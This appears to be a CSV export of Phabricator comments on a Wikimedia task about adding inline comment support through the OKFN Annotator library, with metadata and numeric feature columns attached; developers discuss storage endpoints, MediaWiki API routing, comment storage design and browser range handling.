That GitHub compare url has the sense of the comparison the wrong way round: http://github.com/okfn/annotator/compare/master...wip",,,1374046255,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.75,"**nick** wrote:

That GitHub compare url has the sense of the comparison the wrong way round: URL"
228260,Implement inline comment support using OKFN annotator,"**nick** wrote:

(In reply to comment #43)

Hi all,

Sorry not to have weighed in earlier. I'm really glad to see you're using Annotator, and hope I can help out with any problems you might have.

> I'm a little unclear about the relationship of 'read' and 'index', and how
> the URLs work.

Yes, this is a bit messy. Read and index are implicitly the same endpoint at the moment, and index is just ""read"" with a null ID. Obviously this is horrible, but it turns out that it doesn't matter that much as an index endpoint that returns all annotations is almost never useful anyway, so...

> It seems like this may be a moot point if we use loadFromSearch.  However, I
> would expect there to be an 'index' url for consistency.

...the vast majority of real implementations use loadFromSearch. If you're interested, current work in progress on Annotator 1.3/2.0 (http://github.com/okfn/annotator/compare/wip...master) is revisiting some of this stuff, and the four endpoints that need implementing by a store are now create/update/delete/query, and the index endpoint is gone.

But, to answer your concrete question: use loadFromSearch and ignore the existence of the ""index"" endpoint.",,,1374046180,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,5.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,4.666666666666667,7.666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,6.333333333333333,0.6666666666666666,0.6666666666666666,1.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,12.333333333333334,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,4.333333333333333,3.0,6.333333333333333,0.6666666666666666,3.3333333333333335,7.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,1.0,0.6666666666666666,0.0,3.0,7.666666666666667,2.3333333333333335,0.0,1.6666666666666667,0.0,3.0,0.0,0.6666666666666666,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.7729468599033815,0.7584541062801932,"**nick** wrote:

(In reply to comment #43)

Hi all,

Sorry not to have weighed in earlier. I'm really glad to see you're using Annotator, and hope I can help out with any problems you might have.

QUOTE
QUOTE

Yes, this is a bit messy. Read and index are implicitly the same endpoint at the moment, and index is just ""read"" with a null ID. Obviously this is horrible, but it turns out that it doesn't matter that much as an index endpoint that returns all annotations is almost never useful anyway, so...

QUOTE
QUOTE

...the vast majority of real implementations use loadFromSearch. If you're interested, current work in progress on Annotator 1.3/2.0 (URL is revisiting some of this stuff, and the four endpoints that need implementing by a store are now create/update/delete/query, and the index endpoint is gone.

But, to answer your concrete question: use loadFromSearch and ignore the existence of the ""index"" endpoint."
228255,Implement inline comment support using OKFN annotator,"I was wondering if someone from the OKFN team could answer a couple quick questions.

I'm a little unclear about the relationship of 'read' and 'index', and how the URLs work.

https://github.com/okfn/annotator/wiki/Storage#index says index returns ""a list of all annotation objects"".  First, I'm wondering if that is supposed to be limited to the current page's annotations.  Maybe that's up to us.

However, the plugin docs (https://github.com/okfn/annotator/wiki/Store-Plugin) have no mention of index, nor do I see a way to override the URL.

https://github.com/okfn/annotator/wiki/Storage#read says it's a straight-forward method that takes an ID and returns a single annotation.

But the plugin docs (Store-Plugin) say, ""read: GETs all annotations. Called when plugin loads or .loadAnnotations() is called. Server should return an array of annotations serialised as JSON.""

Looking at the Coffee code, it seems read is called to get a list, but never explicitly called for a single annotation (although there is a commented out line doing that).  However, since we're using the recommended 303 redirect, it's implicitly used for creations.

The list part is confirmed by testing.  It loads http://127.0.0.1:9090/w/api.php?action=annotator-read&id=:id, which is a bit weird.  I think this is related to https://github.com/okfn/annotator/issues/186

It seems like this may be a moot point if we use loadFromSearch.  However, I would expect there to be an 'index' url for consistency.",,,1373666058,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,1,,0.6666666666666666,0.3333333333333333,0.0,2.0,0.0,4.0,1.0,0.0,0.3333333333333333,1.0,1.3333333333333333,3.0,0.0,0.0,0.6666666666666666,3.0,0.0,4.0,9.333333333333334,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,9.333333333333334,1.3333333333333333,1.6666666666666667,2.3333333333333335,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,11.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,8.0,3.6666666666666665,11.0,2.3333333333333335,2.3333333333333335,11.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.3333333333333333,0.0,4.666666666666667,9.333333333333334,3.6666666666666665,0.0,3.3333333333333335,0.0,4.666666666666667,0.0,1.3333333333333333,4.666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,3.6478910041060097,0.6796192609182531,"I was wondering if someone from the OKFN team could answer a couple quick questions.

I'm a little unclear about the relationship of 'read' and 'index', and how the URLs work.

URL says index returns ""a list of all annotation objects"".  First, I'm wondering if that is supposed to be limited to the current page's annotations.  Maybe that's up to us.

However, the plugin docs (URL have no mention of index, nor do I see a way to override the URL.

URL says it's a straight-forward method that takes an ID and returns a single annotation.

But the plugin docs (Store-Plugin) say, ""read: GETs all annotations. Called when plugin loads or .loadAnnotations() is called. Server should return an array of annotations serialised as JSON.""

Looking at the Coffee code, it seems read is called to get a list, but never explicitly called for a single annotation (although there is a commented out line doing that).  However, since we're using the recommended 303 redirect, it's implicitly used for creations.

The list part is confirmed by testing.  It loads URL which is a bit weird.  I think this is related to URL

It seems like this may be a moot point if we use loadFromSearch.  However, I would expect there to be an 'index' url for consistency."
228250,Implement inline comment support using OKFN annotator,"See also:
* [[Wikipedia:Village_pump_(idea_lab)/Archive_3#Sticky_Notes_for_Easier_Editing]]
* [[Wikipedia:Sticky notes]]",,,1372611691,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.2727272727272725,0.5,"See also:
* [[Wikipedia:Village_pump_(idea_lab)/Archive_3#Sticky_Notes_for_Easier_Editing]]
* [[Wikipedia:Sticky notes]]"
228243,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:

We're right here watching, Rob :)

I would recommend just focusing on upstream okfn/annotator. We're cranking hard to get everything relevant pushed upstream.

Richa, don't hesitate to reach out if you want help testing or have any questions about the annotator code.",,,1372372816,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,10.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9838709677419355,0.7903225806451613,"**tilgovi** wrote:

We're right here watching, Rob :)

I would recommend just focusing on upstream okfn/annotator. We're cranking hard to get everything relevant pushed upstream.

Richa, don't hesitate to reach out if you want help testing or have any questions about the annotator code."
228238,Implement inline comment support using OKFN annotator,"**azaroth42** wrote:


Just to recommend the hypothes.is version of annotator, and to point to the Open Annotation specification for the implementation:

http://www.openannotation.org/spec/core/

and 

http://www.w3.org/community/openannotation/

Hope that helps, and looking forwards to seeing the outcomes. Happy to answer any Open Annotation questions that may come up!",,,1372368533,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,7.0,0.0,15.0,0.0,5.0,8.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.25,0.65,"**azaroth42** wrote:


Just to recommend the hypothes.is version of annotator, and to point to the Open Annotation specification for the implementation:

URL

and 

URL

Hope that helps, and looking forwards to seeing the outcomes. Happy to answer any Open Annotation questions that may come up!"
228234,Implement inline comment support using OKFN annotator,"Gerrit is ready and all my github changes are imported. 
https://git.wikimedia.org/log/mediawiki%2Fextensions%2FAnnotator.git
The basic skeleton of where to call the annotations is ready. Now i am starting with the storage of comments. Here are some of my points:
1. Going through the idea of custom table implementation and storing comments in a separate table which takes account of the revision id, user and the range.
2. Creating classes 'create', 'update', 'read', 'delete' for annotations. https://github.com/okfn/annotator/wiki/store-plugin#urls
3. Modify the above urls of OKFN as:
prefix: 'api.php'
create: '?action=create', etc.",,,1371452038,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.0,0.0,0.5,0.0,3.5,1.5,0.0,0.0,0.0,1.5,9.5,0.5,0.0,0.0,2.5,0.0,1.5,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,6.0,0.5,2.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,1.5,7.0,2.5,1.0,9.5,0.0,1.5,0.0,1.0,0.5,0.0,2.5,0.0,0.0,3.0,3.4375,0.640625,"Gerrit is ready and all my github changes are imported. 
URL
The basic skeleton of where to call the annotations is ready. Now i am starting with the storage of comments. Here are some of my points:
1. Going through the idea of custom table implementation and storing comments in a separate table which takes account of the revision id, user and the range.
2. Creating classes 'create', 'update', 'read', 'delete' for annotations. URL
3. Modify the above urls of OKFN as:
prefix: 'api.php'
create: '?action=create', etc."
228228,Implement inline comment support using OKFN annotator,Just a note that i have made a repo on github https://github.com/richajain/Prototyping-inline-comments and have done some initial commits. I will be updating this with the progress done at regular time.,,,1370539929,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-4,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,3.0,9.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.75,0.875,Just a note that i have made a repo on github URL and have done some initial commits. I will be updating this with the progress done at regular time.
228221,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:

Just popping in to subscribe to CC on this. I'm actively maintaining and improving Annotator for Hypothes.is and am happy to answer any questions or work with you all to close any gaps we need to in order to store annotations in mediawiki.",,,1369945974,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,2.0,4.0,22.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.7592592592592593,"**tilgovi** wrote:

Just popping in to subscribe to CC on this. I'm actively maintaining and improving Annotator for Hypothes.is and am happy to answer any questions or work with you all to close any gaps we need to in order to store annotations in mediawiki."
228216,Implement inline comment support using OKFN annotator,"(In reply to comment #35)
> I saw they allow overriding the URL syntax
> (https://github.com/okfn/annotator/wiki/Store-Plugin#urls), so the main
> concern
> is probably less used methods like PUT and DELETE, which needs investigation
> on
> both sides (OKFN and MW).

AFAIK, if you submit a PUT/DELETE request to the API, it will probably just treat it as a GET request, although I could be wrong and have not tested this.",,,1369942866,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,23.0,4.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,11.0,16.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2280701754385963,0.7192982456140351,"(In reply to comment #35)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

AFAIK, if you submit a PUT/DELETE request to the API, it will probably just treat it as a GET request, although I could be wrong and have not tested this."
228212,Implement inline comment support using OKFN annotator,"(In reply to comment #33)
> (In reply to comment #32)
> > Someone may have made a RESTful wrapper of a MW API, or have advice on doing
> > so.
> 
> I sure hope this exists. The API interface is terrible right now.

I saw they allow overriding the URL syntax (https://github.com/okfn/annotator/wiki/Store-Plugin#urls), so the main concern is probably less used methods like PUT and DELETE, which needs investigation on both sides (OKFN and MW).",,,1369942576,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,24.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,9.0,11.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.5636363636363635,0.7454545454545455,"(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I saw they allow overriding the URL syntax (URL so the main concern is probably less used methods like PUT and DELETE, which needs investigation on both sides (OKFN and MW)."
228207,Implement inline comment support using OKFN annotator,"From Matt's email:
> The high-level concept of RevisionDelete applies, but I don't think
> directly using it is a good fit.  What happens if one comment on a page
> is a violation, but the next consecutive 999 are fine?  With RevDel, I
> think you'd have to remove the bad one, then suppress all 1000 (correct
> me if I'm wrong) containing the bad one, leaving no history of how the
> good 999 developed.

I was thinking one page per comment.

> True, but there's existing code (the main one I'm thinking of is AFTv5)
> to learn from.  Another reason not to use a page is that it constrains
> changes.  Once we publish the JSON page, there could be bots that rely
> on it, rather than the API.  If we just use JSON internally, that gives
> us flexibility.

If we use pages, we could still use JSON only internally. We'd implement a new Content type for annotations and still provide an API module for accessing comments.

All that said, I understand the concern with using articles as a storage medium, so I would be fine with either way. I just wanted to make sure we weren't ditching the idea without due consideration.",,,1369942104,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,5.5,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,2.5,13.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,5.5,9.0,4.5,0.0,0.0,0.0,5.5,0.0,1.0,2.5,0.0,3.0,0.0,0.0,0.0,3.7785714285714285,0.712987012987013,"From Matt's email:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I was thinking one page per comment.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If we use pages, we could still use JSON only internally. We'd implement a new Content type for annotations and still provide an API module for accessing comments.

All that said, I understand the concern with using articles as a storage medium, so I would be fine with either way. I just wanted to make sure we weren't ditching the idea without due consideration."
228202,Implement inline comment support using OKFN annotator,"(In reply to comment #32)
> Someone may have made a RESTful wrapper of a MW API, or have advice on doing
> so.

I sure hope this exists. The API interface is terrible right now.",,,1369936634,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2962962962962963,0.8888888888888888,"(In reply to comment #32)
QUOTE
QUOTE

I sure hope this exists. The API interface is terrible right now."
228196,Implement inline comment support using OKFN annotator,"Richa Jain has been accepted for Google Summer of Code for this project.  She is currently investigating OKFN and the store plugin.  The below are some thoughts as a starting point:

OKFN provides documentation on writing a plugin for storing annotations (https://github.com/okfn/annotator/wiki/Store-Plugin)?  The most straightforward approach seems to be implementing that as a MW extension.

https://github.com/okfn/annotator-store is an example of how one store works, though of course the MW extension example will be different.

One issue is that the API is RESTful.  It lets you set a custom prefix, but the syntax is a little different than MW normally uses.  

One way to do this is to make a normal MW-style API subclass (like https://www.mediawiki.org/wiki/API:Extensions#Creating_API_modules_in_extensions), then hook into the URL routing code to translate the OKFN-style RESTful URLs to calls to the API.

Someone may have made a RESTful wrapper of a MW API, or have advice on doing so.  It's probably also worth looking at the hooks (https://www.mediawiki.org/wiki/Manual:Hooks)",,,1369893630,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-5,,0.5,0.5,0.0,0.5,0.0,5.0,3.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,12.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,7.5,0.5,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,5.0,17.5,2.0,1.5,11.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,2.5,12.5,6.0,0.0,0.0,0.0,2.5,0.0,0.5,4.5,0.0,3.5,0.5,0.5,0.0,3.870828667413214,0.6877939529675252,"Richa Jain has been accepted for Google Summer of Code for this project.  She is currently investigating OKFN and the store plugin.  The below are some thoughts as a starting point:

OKFN provides documentation on writing a plugin for storing annotations (URL  The most straightforward approach seems to be implementing that as a MW extension.

URL is an example of how one store works, though of course the MW extension example will be different.

One issue is that the API is RESTful.  It lets you set a custom prefix, but the syntax is a little different than MW normally uses.  

One way to do this is to make a normal MW-style API subclass (like URL then hook into the URL routing code to translate the OKFN-style RESTful URLs to calls to the API.

Someone may have made a RESTful wrapper of a MW API, or have advice on doing so.  It's probably also worth looking at the hooks (URL"
228190,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:

(In reply to comment #30)
going by the description, it perfectly fits the bill! I mean it has all the methods of firefox available in IE. But the documentation is really very poor man. Its going to take me a while to make heads and tails of this :(",,,1369104663,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-6,,2.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,12.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,8.0,0.0,3.0,11.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,8.0,12.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.476923076923077,0.8153846153846154,"**ganeshaditya1** wrote:

(In reply to comment #30)
going by the description, it perfectly fits the bill! I mean it has all the methods of firefox available in IE. But the documentation is really very poor man. Its going to take me a while to make heads and tails of this :("
228184,Implement inline comment support using OKFN annotator,"(In reply to comment #29)
> going a little off topic here, I think internet explorer cannot be supported
> in any efficient way, cause of the way text ranges are implemented in it. 
> 
> Both ofkn and pundit are not supported in IE. I ve been going through the
> code of OFKN for a while now and this dawned upon me just now.

In the VisualEditor project we have similar needs for cross-browser range selection and manipulation, and we have used the Rangy library - https://code.google.com/p/rangy/ - which has worked out well for us. Not sure if this is helpful for you?",,,1369060957,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,2.0,3.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,13.0,8.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6507936507936507,0.7301587301587301,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

In the VisualEditor project we have similar needs for cross-browser range selection and manipulation, and we have used the Rangy library - URL - which has worked out well for us. Not sure if this is helpful for you?"
228176,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:

going a little off topic here, I think internet explorer cannot be supported in any efficient way, cause of the way text ranges are implemented in it. 

Both ofkn and pundit are not supported in IE. I ve been going through the code of OFKN for a while now and this dawned upon me just now.",,,1369002502,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-7,,1.0,0.0,0.0,4.0,3.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,13.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,13.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,3.647887323943662,0.7183098591549296,"**ganeshaditya1** wrote:

going a little off topic here, I think internet explorer cannot be supported in any efficient way, cause of the way text ranges are implemented in it. 

Both ofkn and pundit are not supported in IE. I ve been going through the code of OFKN for a while now and this dawned upon me just now."
228167,Implement inline comment support using OKFN annotator,"Another tool for inspiration? http://www.thepund.it/

Java backend but ""The Pundit client is a Javascript application based on the Dojo Toolkit http://dojotoolkit.org/ . It works closely with the Pundit server API, allowing the end-user to annotate any kind of web contents.""

